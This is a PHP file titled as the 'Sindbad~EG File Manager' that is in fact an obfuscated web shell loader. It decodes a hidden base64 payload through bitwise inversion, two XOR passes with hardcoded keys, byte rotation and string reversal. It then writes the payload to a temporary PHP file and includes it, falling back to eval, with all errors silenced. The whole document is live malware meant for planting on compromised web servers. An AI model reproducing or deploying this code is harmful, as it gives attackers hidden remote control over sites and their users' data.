Sindbad~EG File Manager
<?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);
$foOzPGIv = array('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', 'bBznsW1cvGmzLD4=');
$ztrmotH = '1eac59e0599561a1362c8e2e3859fed9'; // hex
$DImaxTK = 'e05f0ad2054fd0bc43b7cc7d0e6ba83a'; // hex
$oBSDSGul = 3; // rotate amount
function YSvkxFcQFT($arr) {
return base64_decode(implode('', $arr));
}
function xeBShhauM($data, $hexkey) {
// hexkey -> raw bytes
$k = hex2bin($hexkey);
$out = '';
$klen = strlen($k);
$dlen = strlen($data);
for ($i=0; $i<$dlen; $i++) {
$out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
}
return $out;
}
function ZWzmphAxz($data, $n, $dir = 'r') {
// rotate each byte right (dir='r') or left (dir='l') by n
$out = '';
$dlen = strlen($data);
for ($i=0; $i<$dlen; $i++) {
$b = ord($data[$i]) & 0xFF;
if ($dir === 'r') {
$b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
} else {
$b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
}
$out .= chr($b);
}
return $out;
}
function DMkMpcZBaM($fname, $payload) {
$tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
if (@file_put_contents($tmp, $payload) !== false) {
@chmod($tmp, 0640);
if (@rename($tmp, $fname)) {
@include_once($fname);
return true;
}
}
@file_put_contents($fname, $payload);
@include_once($fname);
return true;
}
// --- decode ---
try {
$enc = YSvkxFcQFT($foOzPGIv);
$s = '';
for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
$s = xeBShhauM($s, $DImaxTK);
$s = ZWzmphAxz($s, $oBSDSGul, 'r');
$s = strrev($s);
$s = xeBShhauM($s, $ztrmotH);
// try safe temp include then eval fallback
$tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
if (@file_put_contents($tmp, $s) !== false) {
@include_once($tmp);
@unlink($tmp);
exit;
}
@eval($s);
exit;
} catch (Exception $e) { exit; }
?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists